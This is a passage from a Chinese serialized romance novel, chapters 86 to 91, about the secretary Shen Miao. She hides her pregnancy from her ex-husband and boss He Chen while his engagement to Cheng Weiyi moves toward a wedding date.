可张科研跟沈渺认识,相亲之后还能约出来吃饭,就是有希望发展的。 沈渺这些年跟着贺忱,必定有过人之处,在贺忱面前说得上话。 若他们真成了,对陈庆只有好处没坏处。 “陈总现在把他调过来参与,也不迟。” 贺忱坐姿松散,侧睨着沈渺,“沈秘书能干,我再让她兼顾一下跟微克的项目。” 沈渺如坐针毡,赶忙说,“我现在在做政圈项目,精力实在有限。” “那真是太可惜了。”陈庆接了句,“下次再合作,提前安排。” 贺忱指腹请捏着杯盏,杯中液体微凉,透过他指尖蔓延至胸腔。 他整个人都透着一股冷意。 饭吃到一半,沈渺去上洗手间。 林昭趁机跟出来,逮住她问,“你跟我说今天中午有事,就是来跟微克那个人吃饭?” “嗯。”沈渺点头。 “你跟那个张科研在交往?”林昭八卦了句。 沈渺摇头,“没有,前几天帮了他一个忙,他请我吃饭表达谢意,仅此而已。” 她将手擦干,整理下衣服,朝包厢走去。 林昭迅速跟出来,“微克老总有撮合你们的意思。” “我看出来了。”沈渺捏了捏眉心,“不过没事,张科研是个拎得清的。” 就算陈庆几次三番暗示,张科研也没有表现出跟她关系非常熟络。 几句交谈,两人回到包厢门口。 沈渺正欲推门进去,被林昭拦了一把。 “原本贺总想让你一起来吃这顿午饭的,我跟贺总说你身体不舒服,在房间休息……” “……” 难怪,贺忱的脸色一直不好看,感情是这里出了岔子。 林昭又说,“等会儿饭局结束,你跟贺总解释一下吧。” 说完他先一步回到包厢。 沈渺提气,冷静了几秒才进去。 半小时后,饭局结束。 沈渺拎包下楼买单,等着开发票时,张科研过来了。 “这次说好我请你的,结果……” 张科研有些不好意思,“下次再有机会,一定我请。” 沈渺接过发票,放在包里,“以后再说吧。” 他们朝餐厅外走去,原本还想再寒暄两句。 谁知贺忱站在沈渺车旁等,而林昭已经带着陈庆先一步离开了。 “路上注意安全,我先走了。” 沈渺低声与张科研告别,快速朝车上走去。 86.贺总你就是想,也没机会了! 贺忱凝了这边一眼,见她过来了,将烟掐灭丢垃圾桶。 车门解锁,两人分别上了车。 贺忱坐在副驾,修长的双腿需得微蜷着。 他身上一股淡淡的烟味,弥漫开来。 沈渺将车窗落下一截,烟味散去了些,她紧皱的眉头才舒展开来。 “抱歉贺总,我不知道今天中午有工作安排。” 原计划陈庆是晚上才来度假村的。 贺忱闭目养神,他喝了一点酒,眼尾微红。 眉骨微微收拢着,许是哪儿不舒服,呼吸有些紊乱。 他没理她,她便也不再说。 没一会儿,回到度假村,沈渺将车停好。 “贺总,到了。” 贺忱微闭的双眸豁然睁开,解开安全带下去。 沈渺拿着包下车,跟在他后面朝房间走。 她与贺忱的房间在同一层,两人一前一后进入电梯。 “张科研跟你年纪相仿吗。” 贺忱冷不丁开口。 沈渺低垂着眼帘,“比我大两岁。” “人怎么样。” “国外留学回来的,刚入职微克。” “家境呢。” “父母双全,家境好像还可以。” 沈渺没深入了解张科研家里的情况,毕竟她不打算跟张科研交往。 贺忱问什么,她就答什么。 直到贺忱又问,“看样子,你很中意。” 她才意识到,贺忱的询问,是冲着他们合不合适去的。 “贺总,这是我的私事。” 沈渺不习惯跟贺忱谈论工作以外的事情。 贺忱目光淡薄,面色不辨喜怒。 “值得让你精心打扮的对象,想必是非常满意。” 最近,沈渺突然变了穿衣风格。 不再是黑白灰的死板搭配,今天她穿了一件浅紫色的长裙。 风一吹,黑色的长发飘起,她凝白的肤色红润,美得不可方物。 这件裙子是商音在网上给她买的孕妇装。 这颜色太显眼,不是她的风格,但十分遮肚子,她这才留下。 她细眉拧成一团,“贺总,这是我的私事。” “随口问问。” 贺忱移开目光,透过电梯壁看着她面色的抗拒,他眼眸一沉。 电梯门开了,沈渺先一步走出去。 刚走到房间门口,她手机响了一声,是张科研发来的消息。 【我感觉,贺总有些不高兴,是不是给你添麻烦了?】 沈渺:【没事,他一向冷脸。】 当天下午,她在房间处理工作,门都没出。 晚上时,团建用餐,员工们在海滩阳光房。 贺忱在二楼招待陈庆,林昭陪酒,沈渺在一旁等着。 让沈渺意外的是,看起来庄重沉稳的陈庆,竟然是个酒鬼。 一杯接一杯的酒,林昭都钻桌子底下去了,他才刚有醉意。 沈渺弯腰扶林昭,小声问,“还能行吗?我让人送你回房间?” “嘘……”林昭是真喝不下去了,但脑子还算清醒,装着跑到下面来,“我在这儿躺会儿。” 沈渺起身去找服务员要热水。 “贺总……” 陈庆打着酒嗝,看着沈渺离开的背影,他说,“你这秘书长得可真漂亮,你这些年就没动过心思吗?” 贺忱端着高脚杯的手一紧,面色如常,“陈总喝多了。” “没多……嗝。” 陈庆朝贺忱这边靠了靠,“你那个未婚妻,长得可没她漂亮,上次那新闻,那个什么方太太?说得没错啊,你眼光,是真不太行。” 沈渺端着热水回包厢,刚好听见陈庆这话。 她脚步一顿,明眸看向贺忱。 包厢的灯在贺忱后上方,他被一道灯光笼罩,轮廓模糊不清。 但他的目光,却是从陈庆身上,移到了沈渺这儿。 泛着幽光的视线,看得沈渺心脏骤缩。 “陈总喝多了。” 她将热水直接给了陈庆,试图打断陈庆说话。 谁知陈庆越说越起劲儿,“你瞧,还贴心,看你之前大手笔哄陈家小姐,那肯定是个有脾气不懂体贴人的,哪有沈秘书好?” 贺忱表情耐人寻味,似笑非笑地看着沈渺。 “这是身为下属该做的,算不上体贴,张科研也是一个好下属。” 沈渺把热水放下,浅笑了下。 陈庆顿时拍了下额头,“瞧我,忘了,沈秘书跟张科研在交往,贺总你就是想,也没机会了!” “陈总说笑了,贺总不想。” 沈渺转身回位置上坐下。 贺忱轮廓线条紧绷起,眸色一下变得极深。 “那是你们贺总没眼光。”陈庆转过头来,冲着沈渺说,“我看你跟张科研挺般配的,回头我就提拔他,让他来做我的助理,这样就跟你的职位相称……” 听他说完,沈渺笑笑转移话题,“陈总说笑了,张科研出国留学归来有足够的潜力做助理,可不是为了跟我相称,我跟他只是朋友。” 酒后吐真言,陈庆这人真的会因为张科研跟沈渺认识,就提拔张科研。 可如果沈渺将关系瞥得一干二净,搞不好……陈庆会就此看张科研不顺眼。 如是一想,沈渺又添了一句,“目前只是朋友。” 一听这话,陈庆笑的眼睛挤成一条缝。 “那你们什么时候不是朋友了,记得告诉我一声。” 他端起酒杯,朝贺忱举过去,“贺总,这是大喜事,值得我们喝上一杯,祝他们早点修成正果!” 贺忱握着杯盏的手指尖泛白,下一秒他放下酒杯,夺过陈庆的酒。 “陈总喝多了,林昭,送他回去。” 他将酒杯重重放在桌子上。 气氛一下僵住。 突如其来的情绪,让陈庆的酒一下醒了大半。 他看着溢出桌面的酒水,与贺忱瘦削的轮廓噙着的不虞,心里‘咯噔’一声。 说错话了? 陈庆捋了捋,怎么也想不出是哪句话说错了。 林昭也察觉到不对,不装了,从桌子底下爬起来,拉陈庆起来。 “陈总,咱们回房休息,改天再喝。” “欸,好。”陈庆是个老狐狸,表情瞬息万变后,装没察觉到的,朝贺忱挥手,“贺总,我们改天再喝!” 回应他的,是房间缓缓关上的门。 房间里,灯盏亮着气氛静谧。 “陈总喝多了,他的话贺总别放在心上。” 沈渺站起来,穿上外套,“时间不早了,贺总早点回房休息。” “哪句别放在心上。”贺忱双腿叠放,狭长的眸子微眯着看她。 87.身为前夫,帮你参谋参谋 “您程小姐很般配,程小姐也长得很漂亮。” 沈渺停下来说。 贺忱墨瞳凝着她,“这么说,你跟那个小职员,是真的有意准备下一步?” 他隐隐带着一股不满。 沈渺就不明白了,“何家的门我进不去,九洲又是百荣的死对头,你管我跟何之洲往来就算了,还要管我跟别人吗?” “身为前夫,帮你参谋参谋。” 贺忱站起来,双手插在兜里,走到沈渺身边停下,“多接触接触再决定,也不迟。” 一句‘前夫’,砸碎了沈渺刻意与他保持的距离。 沈渺有些莫名看着他,“贺总跟程小姐青梅竹马,都接触这么久了也该结婚了,身为前妻我也劝贺总一句,早结早好。” 他们好不好,她不知道,反正他们早点结婚,她好! 说完她转身离开。 包厢门自然缓缓合上,贺忱挡了一把,心里莫名增火。 好心当成驴肝肺? 深想,她好像盼着他结婚。 贺忱面色郁郁,用力推了一把门,阔步离开。 团建为期两天,陈庆原计划等团建结束一起离开。 可经过昨晚那事儿,次日一早他找了个借口就走了。 没有客户招待,沈渺连房间门都不出,线上处理工作,闲下来就休息。 临近中午,林昭给她发消息。 【中午团餐,贺总也来,你别迟到。】 沈渺想了想回:【我不舒服,不吃饭了,帮我转告贺总,明天请假一天。】 海边夜晚凉,昨晚她踢了被子,受风寒了。 刚好该产检了,明天去医院再拿点儿药。 利用下午时间,她处理了较为着急的工作,为明天休息做准备。 “贺总,沈秘书说她身体不舒服,不来吃午餐了。” 林昭如实转告,“她明天想请一天假。” 贺忱穿着白色的T恤,外面搭了一件米白色衬衫。 挽起的袖口,露出肌肉寸寸分明的小臂。 顺延着手臂向下,修长又干净的手指正端着一杯鸡尾酒,浅品着。 听到林昭的话,他转过头来。 “明天起,你分担她一部分的工作吧。” 林昭惊讶了几秒,说道,“确实,沈秘书太忙了,重点是你们的关系,该避避嫌。” 贺忱睨他一眼,“我们什么关系,避什么嫌?” “就……”林昭想到昨晚陈庆的话。 上司跟秘书,听起来就是暧昧的关系。 尤其贺忱跟沈渺年纪相当,又在一起这么多年了。 就算有了程唯怡这个未婚妻,贺忱跟沈渺的关系也是很耐人寻味的。 陈庆借着酒劲儿说出来的话,还暗藏着另外一层意思。 做到贺忱这个位置上的人,有几个能洁身自好的? 这个‘自好’,指的是男女关系。 “沈秘书都在避嫌,贺总,您不会看不出来吧?” 林昭怕说多错多,反问道。 一想到沈渺那副寡淡的表情,贺忱的心口郁结。 “她要是真跟微克那个职员成了也挺好,至少外……” 林昭话说一半,冷不丁对上贺忱目光,顿时沉了声。 “等会儿团建结束回公司加班。” 贺忱丢下一句话,起身回室内。 林昭恨不得朝自己嘴上打两巴掌! 他琢磨了大半天,到底哪句话说错了,却一直没琢磨出头绪。 直到第二天到百荣上班,临时收到消息,贺忱今天也不来公司。 他才松一口气,临时加班不是因为惹了贺忱不高兴,只是贺忱提前完成工作,今天不来上班‘而已’。 医院。 工作日,医院依旧人满为患。 在医生的安排下,沈渺做了四维检查,一切都好。 “你太瘦了,需要加强营养。” 医生边看检查报告,边打量沈渺,“这肚子比起同月龄的孕妇小许多,现在孕吐还严重吗?” 沈渺缓缓摇头,“没孕吐,可能工作太忙,三餐不规律,我以后注意。” “还工作呢?”医生想起来,她第一次来做检查的时候穿着职业装,一看就是职业精英那一卦。 “打算什么时候休产假?” “还没想好。”沈渺唇角扯了扯,“还有其他问题吗?” 医生将孕检单给她,“没其他问题了,一个月后再来检查。” 沈渺拿着孕检单走出办公室,一扭头就撞上了一个人。 “抱歉……” 她急声道歉,抬起头看向对方时,声音却戛然而止。 “渺渺?”浅姨看到她,也是一脸震惊。 想起什么似的,浅姨迅速看向她出来的办公室。 妇产科医生。 又猛地看向她手中的检查报告。 “你来这儿干什么!?” 沈渺张了张嘴,正欲找个说辞,手上突然一紧。 浅姨在抢她的化验单。 她用力夺回来,化验单撕成两半。 好在浅姨抢走的那张,只是一张普通的验血报告。 沈渺将其他的折好放入包里,声音清冷,“身体不舒服,过来检查,你到这里来干什么?” 浅姨不懂验血报告的各项数据,何况只是残缺的报告单。 她看了两眼,目光质疑地打量沈渺。 “我,我路过,你好端端的到妇产科做什么检查?你有男人啊?” 沈渺敷衍着,“只是例行检查,我去看看卷卷。” 她朝住院大楼走去。 浅姨跟在她后面,“你这个年纪,有男人也正常,但现在情况不一样,你现别考虑结婚生子的事情,结婚生子的压力很大的,到时候兼顾不上福利院,咱这么多孩子,可怎么办……唉,还有卷卷这儿,药是用上了,一直没找到适合的捐献骨髓的。” 她碎碎念的声音,犹如魔音绕梁。 沈渺加快步伐朝住院大楼走,打断道,“我对自己的事情有规划,您就别操心了,照顾好卷卷,会等到配型骨髓的。” “我这是为你好,你这么优秀早晚能找个好男人,别在年轻不懂事的时候,一时冲动找人结婚。” 浅姨苦口婆心。 “婚姻是爱情的牢笼,更是女人的牢笼,结了婚就没自由了。” 沈渺淡声应了句,“嗯,知道。” 浅姨趁势又说了句,“尤其是孩子,别随便生,生了就得养,花不少钱……” 她嘴上这么说,可眼神却是流露出最好是别生的态度! 88.现在去把这个孩子打掉! “我不明白,您为什么一直给我和音音灌输这种思想。” 沈渺停下来,她认真看着浅姨,“您也没有家人,难道您不渴望亲情吗?” 她不知道浅姨怎么来的孤儿院。 她有记忆时,浅姨就已经在孤儿院,彼时的浅姨才二十多岁。 这辈子,浅姨的青春都耗在孤儿院里。 明明是一个那样充满爱心,把孩子们照顾的无微不至的人—— 有时却又自私的令人心寒。 “亲情有什么好渴望的?”浅姨振振有词,“商音一直嚷嚷着找家人,找他们干什么?他们要是爱你们,怎么会把你们丢了?” 沈渺心脏狠狠一沉。 家对她来说,是一个陌生的字眼。 她用无数的幻想,将陌生的字眼堆砌成自己想要的样子。 想过无数种可能性,唯独不愿意相信自己是被遗弃的。 所以她没有阻止过商音寻找她们各自的家人。 只是找了好几年,没有任何音讯,希冀渐渐覆灭。 所以在这个孩子到来时,她的第一反应,就是留下。 她要有亲人了,有家了。 “这跟我想有个家,不冲突。” 没有父母,她可以有孩子。 每天下班回家,家里有人在等她,有一份牵挂…… “你一定是有情况了。” 浅姨语气近乎笃定,“说吧,跟那个男人认识多久了,对方什么条件?你一直想辞职,是不是想结婚去?” 话题扯远了,又被她以可笑的角度扯回来。 沈渺索性不回答,继续朝住院部走。 浅姨盯着她的背影思忖了一会儿,跟上去。 “渺渺姐姐!”卷卷看到沈渺来,高兴坐起来。 沈渺放下包,拎着一个粉色的小袋子走过去。 “卷卷乖,猜渺渺姐姐给你带什么了?” 卷卷看了那粉袋子几秒,眼睛一亮。 “假发!?” 沈渺笑容扩大,从袋子里拿出乌黑的假发,“卷卷真聪明,来,我给你戴上。” 卷卷摘下帽子,扭着身体到沈渺跟前,让沈渺戴上。 原本一头乌黑长发的女孩,此刻头顶光秃秃的。 沈渺看得心里难受。 她小心翼翼把假发戴上,梳理好。 “来,我带你去照照镜子。” 她领着卷卷去卫生间,搬了个小凳子,让卷卷能看到镜子里的自己。 “谢谢渺渺姐姐,这个假发真好看!” 卷卷摸着滑溜的头发,一双黑白分明的眼睛里,满是喜欢。 沈渺摸了摸她的头,领着她回病床上躺下。 看着她手背上一块块青紫,目光染上疼惜。 “这几天因为没头发,她连病房门都不想出,现在戴上假发了,快让渺渺姐姐带你去楼下公园转转。” 浅姨坐在沙发上,垂着胳膊腿,一副乏了的样子。 沈渺低头看卷卷,“你想去吗?” 卷卷点头,“我没有不想出门,是浅姨……” “好了,这会儿赶紧去,马上吃午饭的点了。” 浅姨打断卷卷的话,警示的目光看了卷卷一样。 卷卷低下头,撅了撅嘴。 “好了,我们出去吧。” 沈渺摸着卷卷的头,重新给卷卷穿上鞋。 她领着卷卷的小手,走出病房,乘电梯下楼。 临近中午,太阳充足,公园里的人很多。 沈渺领着卷卷走了一段路,才找到位置坐下。 卷卷摸着自己的新头发,高兴的嘴角就没落下来过。 沈渺却只看着她手背上青一块紫一块的针眼。 “疼不疼?” “还好。”卷卷皱了下眉说,“就是每天都要打针,护士姐姐说快找不到血管了。” 沈渺想到什么似的问,“不是有滞留针吗?” 卷卷摇头,她还小,不懂什么叫滞留针。 “回头我去问问护士,看能不能打滞留针。” 沈渺给她拽了拽衣角,将外套裹严实些。 卷卷却是说,“浅姨不让我跟护士姐姐说话,让我有任何问题都跟她说,她找医生沟通。” “病情的问题是要问医生,但这些小问题问护士就可以啦。” 沈渺冲卷卷笑道。 卷卷却摇头说,“不是的,浅姨是不让我跟护士姐姐说话,什么话都不行,而且出来玩也不允许我跟其他小朋友聊天。” “为什么?”沈渺诧异。 “不知道。”卷卷低着头,闷声道,“我前两天偷偷跑到隔壁病房玩,有个小朋友也生病了,可她就不用每天都打针。” 沈渺觉得不对。 但她先安抚卷卷,“偷偷跑出去,确实不对哦,以后不能这样了,知道吗?” “哦。”卷卷点头。 “除此之外,还有什么事情吗?”沈渺想了想问。 卷卷乌黑的眼睛眨了眨,突然闪烁了下,“那天何叔叔又来了,我偷偷听到他跟浅姨谈话,说什么露馅……” “沈渺!” 不远处,浅姨的声音蓦地传来。 沈渺抬头望去。 却见浅姨手里拿着化验单,脸色难堪地走过来。 “卷卷,你先回病房去!” 卷卷被她严肃的语气吓了一跳,站起来扭头就往病房走去。 “你翻我的包了?”沈渺将化验单拿过来,脸色前所未有的凝重,“你知不知道,这叫侵犯隐私权!” 浅姨破罐子破摔,“我就侵犯了,你还要告我不成!告了我,这孤儿院的孩子都交给你照顾了!” 沈渺只觉得胸腔灌满了灼热的火气。 “我就说你有男人了,你还不承认!都怀孕好几个月了,你能瞒到什么时候!” 浅姨劈头盖脸的指责,铺天盖地的袭来。 她看向沈渺的眼神,痛心疾首又失望。 像是沈渺干了十恶不赦的大事,犯了天大的错误那般。 沈渺觉得她不可理喻,转身就要走。 浅姨拦住她去路,“说,那个男人是谁,家境怎么样?” “不存在。”沈渺漠然看着她,“这个孩子,只属于我自己的。” 见她脸色很是难堪,并且语气也沉到极点。 浅姨意识到自己情绪过激,缓了缓。 “你在孤儿院长大,孤儿院就是你的家,我就等于是你的家人,你跟我说说到底什么情况,我能替你操持一下!” 沈渺早已对她漂亮的说辞免疫了。 “没什么好操持的,这个孩子只是我自己的,没有爸爸,将来也是我一个人抚养。” “你……”浅姨一把抓住她,“好,你不说是吧,现在去把这个孩子打掉,来路不明的孩子更不能留!” 她拉着沈渺转身就走,路都不看,跌撞间撞了人。 只听‘哎呦’两声。 沈渺胳膊上的力量骤然松开。 她踉跄着撞向一棵大树,步伐虚浮着‘扑通’一声半跪在地上。 心有余悸的搀扶着肚子,没等她缓过来,就听身后传来男人熟悉的声音。 “没事吧?我扶你。” “贺忱哥,我的脚好痛。” 紧接着,程唯怡的声音也传来。 沈渺倏地回头。 刚刚,浅姨撞到的人是程唯怡,不知怎的将人都撞下轮椅了。 贺忱正在扶程唯怡,带着审视的目光却是朝她看过来。 89.你咬死不认,他们能怎么样? 程唯怡的穿着和气质,一看就不是普通人。 浅姨撞了人,立马老实,心虚了几秒转身将沈渺扶起来。 “你没事吧?有没有不舒服?” 生怕人家讹上一样,她象征性地关心沈渺几句,又扭头看向程唯怡。 “你这人,腿脚不利索怎么还到处乱跑,我可跟你说,她怀着……” 说‘她’时,浅姨拉着沈渺走到贺忱与程唯怡面前。 指着沈渺的肚子,‘怀着孕’几个字即将脱口而出。 “贺总!” “贺忱哥!” 两道声音,不约而同响起。 前者是沈渺。 虽不清楚刚刚贺忱站在这里多久了。 可万一他没有听明白呢? 沈渺抱着一丝希望,打断了浅姨的话。 而程唯怡则是挽着贺忱胳膊,眼眸染着泪。 “我的腿好疼,你快带我去看看医生,我怀疑是骨头又错位了。” 她这话一出,贺忱的眉头拧成死结。 他将掉落在地上的毯子捡起搭在程唯怡腿上,推着轮椅迅速离开。 程唯怡今天是来复查的。 刚做完检查又来做一次,医生很是惊讶。 听说了前因后果,将程唯怡腿上的石膏拆开,用手轻轻捏了捏。 “疼吗?” 程唯怡拽着贺忱的衣角,轻轻点了下头。 “有点疼。” “问题不大,本身就不是骨折,就算碰到了也只是疼,不会错位的。” 医生重新将石膏弄好,又开了些止痛药,“疼的话吃上一片就好了。” 贺忱拿上止痛药,带程唯怡离开。 “刚刚,怎么回事。” 两人上了车,他系好安全带,问程唯怡。 程唯怡手里攥着止痛药瓶,指尖泛白,面色佯装无意。 “我看到沈秘书在,想过去打个招呼,不小心撞在一起了。” 贺忱眉骨收拢,似是对她的话有些质疑。 刚刚他替程唯怡拿检查报告。 再回来,就看到几个人撞在一起那一幕。 像是发生了争执。 “贺忱哥,我们快走吧,下次再来就把石膏拆下来,能走路了,我可不想再坐轮椅了!” 程唯怡催促着。 贺忱摒弃杂念,发动引擎驱车离开。 一个小时后,他将程唯怡送回程家。 孙易琴热切挽留,“留下来吃午饭吧,一会儿你程伯伯也回来,这段时间辛苦你了。” 贺忱颔首,“应该的,不用麻烦了,我公司还有事情。” 他拒绝,在孙易琴的预料中。 孙易琴给程唯怡使眼色,想让程唯怡把贺忱留下来。 “既然贺忱哥有工作,就去忙吧,改天有时间再一起吃饭。” 程唯怡开口,竟是顺从贺忱。 “你好好养着,改天我再来看你。” 贺忱叮嘱两句,转身离开。 待他的身影彻底消失不见。 孙易琴忍不住责怪程唯怡,“你怎么就让她走了?” “妈!”程唯怡脸色一瞬变得煞白,她紧紧抓住孙易琴的手,“沈渺好像怀孕了!” “真的!?”孙易琴惊讶,旋即欣喜,“那她肯定就不会再缠着贺忱了!” 程唯怡却苦着脸,猛摇头! “那个孩子,父不详!” 孙易琴表情石化,她脑子飞转,读懂了程唯怡的意思。 “你是说,那个孩子是贺忱的!?不可能,她就算怀了也没几个月,可她跟贺忱离婚这都快一年了!” 程唯怡不确定,她只是猜测。 “沈渺身边,除了贺忱哥哪里还有男人?” 毕竟曾经嫁给过贺忱,她想沈渺的眼界也会高人一层。 沈渺平时接触的那些商业精英,固然优秀,可怎么跟贺忱比? 而且,她不信沈渺甘心离婚! 如果沈渺心里没鬼,为什么隐瞒怀孕? “前段时间,她不是跟何之洲走得挺近?” 孙易琴对沈渺怀孕的事情,并不是很意外。 之前她就看出来端倪,再加上那次在孕婴店遇上。 起初她怀疑沈渺怀孕时,也下意识将这个孩子跟贺忱扯上关系。 但后来打消了这个念头,毕竟贺忱不是那种离婚后还纠缠不清的性子。 “对,这个孩子不是贺忱哥就是何之洲的!” 程唯怡的心里增添了一个人选,提着的心落下了一半。 “沈渺一定是想悄悄生下这个孩子,母凭子贵,万一孩子真是贺忱哥的……” 孙易琴立马打消她的念头,“这不可能,当初如果不是他们意外上床,贺忱根本不会娶沈渺。他心里的人是你啊!” 程唯怡欲言又止,到底还是将卡在喉咙里的话咽下去。 “妈,我跟贺忱哥的事情一时说不清,你相信我,调查沈渺,一定要弄清楚这个孩子是谁的!” 孙易琴从未见过程唯怡如此慌乱的样子。 她疑惑着,“你难道对你们的感情,没有信心吗?” “妈!”程唯怡哀求中带着一丝恼怒,“你就按我说的办,不然……就糟糕了!” 见她急得快哭了,孙易琴这才应声,“行,妈去查,你先别着急……” —— 沈渺甩下浅姨,去找商音了。 她内心惴惴不安,不知等待她的是什么。 但这一天,迟早来临。 “现在的关键是,你给孩子找个爹。” 商音递给她一个苹果,“能有效打消别人的怀疑。” 沈渺摇头,把苹果放回果盘,“哪里去找?” “算了,找不到也没事。”商音其实也担心。 可她必须做沈渺的主心骨,不然沈渺就崩盘了。 孩子,就是沈渺的命啊! “没有你的允许,任何人都不许给孩子做亲子鉴定,你咬死不认,他们能怎么样?” 沈渺瘫靠在沙发上,看着在婴儿车里熟睡的小肉团子。 她的手覆在小腹上,想象不出肚子里的小家伙,长什么样子。 她是有拒绝任何人带孩子做亲子鉴定的权利。 可贺家权势滔天,她能抵抗得了吗? “孩子出生之前,我应该能攒下一笔钱,到时候辞职离开京北。” 商音赞同点头,“万一孩子生出来,跟贺忱是一个模子里刻出来的,你想跑都跑不了了。” 一想到那种可能,窒息感源源不绝地袭来。 沈渺捏了捏眉心,“浅姨让我把孩子打掉。” “她疯了!”商音黑了脸,“你说她这个人怎么回事?干着善良的事儿,嘴上一点儿德都不积!” 90.婚期定在八月份 沈渺将卷卷说的话,一五一十告诉商音。 “我总觉得怪怪的。” “她……”商音不等说什么,小肉团子突然扯着嗓子哭起来。 她立马起身,将商庭抱起来哄,“好了好了不哭哦,妈妈在呢……” 商音抱着孩子在屋子里转来转去,给沈渺使眼色。 “你去我房间休息会儿吧,看你最近忙的,脸色这么难看。” 沈渺脱掉外套,起身朝商音房间走去。 “那我先睡会儿,等下醒了帮你带孩子。” “行,让他在你肚子上趴会儿,跟我准儿媳培养感情。” 商音拍着商庭的小屁股,“娶媳妇,相信你干妈,她和贺忱的基因绝对差不了……” 现在听到贺忱这两个字,沈渺的脑仁就疼。 她躺在床上,翻来覆去地睡不着。 半睡半醒,做梦都梦到贺忱把她叫到办公室,盘问怀孕的事情。 一觉醒来,已经到下午了。 商音带孩子在婴儿房睡午觉,也刚醒。 她帮商音带孩子到晚上,吃过晚饭后回家,商音准备直播,开始工作。 翌日。 京北的初夏清早凉意涔涔。 沈渺穿了一件黑色风衣,里面搭了一条黑白相间连衣裙。 她刚进办公室,李白恬就敲门进来。 “沈渺姐,贺总让你来了上楼一趟。” 沈渺背脊一凉,“知道了。” 她放下包,做了一会儿思想准备,然后才上楼去。 昨晚的梦境重现。 不同的是,她进入贺忱办公室后,先看到的却是贺老夫人与贺懿。 贺忱并不在。 “渺渺,最近接手政圈项目,是不是很辛苦?” 贺老夫人见她来,放下茶杯,笑盈盈地招手,让她过去坐。 “奶奶。”沈渺走过去,微微点头,“确实挺忙的,不过很充实。” 她刚站稳,就被贺懿拉着在两人中间坐下。 贺老夫人和贺懿一左一右,坐在她两侧。 “渺渺,你最近跟何之洲相处怎么样?” 贺懿刚说完,贺老夫人就瞪她一眼。 她吐吐舌头,实在兜不了圈子,竟是直接问出来了。 沈渺以为她指正常工作交接。 “虽然以前没跟何之洲合作过,但毕竟认识很久了,合作起来算愉快。” 贺老夫人见她如此正儿八经的谈何之洲,忍不住也问了句,“除了工作,其他方面怎么样?” 沈渺扭头朝贺老夫人看过来,“哪里有其他方面?” “没。”贺懿摇头,遮掩道,“渺渺,奶奶今天来还是为认你当孙女的事情,她打算给爷爷办寿宴,宣布这件事情。” 沈渺极力拒绝,“不行!” 贺老夫人拉住她的手,“奶奶知道你忌惮什么,你先听我说!” “你跟贺忱前夫妻的关系,再认成兄妹确实不好,可你们是隐婚,除了我们一家没人知道,而且只是一个身份,不在一起生活,你不用觉得没办法面对他。” “关键是,奶奶认了你,对你有好处!” “奶奶。”沈渺严词厉行,“百害一利,我知道您是为我好,可真的不行!” 贺老夫人过分热情和关心,让沈渺顿感压力。 就算没有这个孩子,她也不能坦然接受这件事情。 “那你……以后嫁个好人家嘛!” 贺懿急得差点儿就想说,她不认嫁何家希望不大! 沈渺站起来,在两人的左右夹击中‘挣扎’出来。 “奶奶,小懿,我有自己的计划和安排,希望你们能站在我的角度上,理解我。” 她这话一出,贺老夫人就明白,她是真的不想认。 贺老夫人叹息一声,目光怜爱。 “行,既然你心意已决,这事儿……以后我不再提。” 闻言,沈渺松一口气。 “但是爷爷寿宴那天,你来吧,以小懿朋友的身份来。” 贺老夫人想,她跟贺家走得越近,嫁到何家的希望才越大。 刚拒绝了认亲,再拒绝去寿宴,只怕要伤了贺老夫人的心。 沈渺只能答应,“好。” “我还真就你这一个朋友!”贺懿笑容灿烂,“抽时间一起逛街,选参加寿宴礼服,再给爷爷挑礼物?” 沈渺再度颔首,“好。” 她们交谈完,办公室的门被人从外面推开。 贺忱阔步进来。 “准备一下,等会儿陈庆来签合同。” 他斜睨了一眼沈渺,走到办公桌前坐下。 沈渺看到他,心漏跳一拍。 却见他与往常无异。 难道是,没听见她跟浅姨的话? “还愣着干什么?” 贺忱拧眉,看着站在原地不动的沈渺。 沈渺收敛思绪,转身与贺老夫人她们眼神示意后,离开办公室。 “你啊你。”贺老夫人不满地指着贺忱,“这驴脾气,幸好渺渺没跟你一辈子,不然被你气死。” 贺忱拿过手旁文件处理,手上动作顿了下,“她在您心里,比我还亲。” 连续两次,贺老夫人为了沈渺来这儿。 “可不。”贺老夫人哼了声,“你这辈子,最大的作用就是把渺渺娶回来,让奶奶认识了她。” 贺忱:“……” 贺懿‘噗’一声乐了。 贺忱一个凌厉的眼神看过来,她立马又噤声。 “沈渺也见完了,您还有其他事吗?” “没了。”贺老夫人站起来,由贺懿搀扶朝门外走。 贺懿每周工作日都要请假,她觉得只歇周六日的是纯牛马。 而她想当个快乐牛马。 贺老夫人特意赶着她休息时来公司,更方便。 两人刚走到门口,贺老夫人又停下来,回过头看着贺忱。 “孙子,真决定娶程家那孩子了?” 贺忱面部轮廓一绷,抬眸的瞬间又缓和下来。 “您问过好几次了。” “奶奶怎么觉得,你好像不喜欢她?” 贺老夫人沧浊的眼眸打量着贺忱,“好端端的,突然就在一起了,然后打得火热,不符合你的风格。” 贺忱垂下眼帘,嗓音如常道,“认识很多年了,不算突然。” “罢了。”贺老夫人叹息着转身朝外走,“你妈打算在你爷爷的寿宴上,公布你跟程唯怡的婚事,婚期定在八月份。” 贺忱眉骨一拢,抬眸看向日历。 距离八月份,还有四个月。 不知怎的,他忽地想到沈渺。 91.就见这一次,不会再有第二次 无端闯入脑海的,是沈渺突如其来提离婚时,白净小脸上的疏离和冷漠。 结婚那两年,沈渺像一只布偶猫,美得不可方物,总在不经意间勾的他心神荡漾。 可她又很有分寸,让偶尔会陷进去的贺忱,随时保持清醒。 贺忱捏捏眉心,将思绪回笼,眸色渐渐清晰。 —— 陈庆带着张科研来签约的。 沈渺准备好合同,跟着贺忱前往会议室,一进门先看到西装革履的张科研坐在陈庆旁边。 “贺总,沈秘书。” 张科研起身,微微朝着贺忱颔首。 在说‘沈秘书’三个字时,语气明显柔和许多。 陈庆笑盈盈地看他一眼,暧昧到拉丝的眼神,在他和沈渺之间徘徊。 “陈总。”沈渺只称呼了陈庆。 因为她不知道,张科研是以什么职位跟着陈庆的。 直呼名字,不合适。 陈庆点了下头,算打过招呼,顺势说,“贺总,以后跟百荣的合作,我就交给张科研了,他现在是项目经理。” 贺忱拉开椅子坐下,揉捏着手腕处的腕表,扫向张科研的目光,带着几分令人捉摸不透的隐晦。 “贺总,以后请多多指教。” 张科研弯着腰,朝贺忱伸手。 “陈总这么做,是让我把沈秘书也调来负责合作吗。” 贺忱浅握了下张科研的手,嗓音涔涔道。 陈庆听出他话语里的丝丝不虞,当即开口,“不,贺总按照原来的安排就行。” 沈渺在张科研对面坐下,像是听不见贺忱的话。 她朝张科研点了下头,“张经理。” 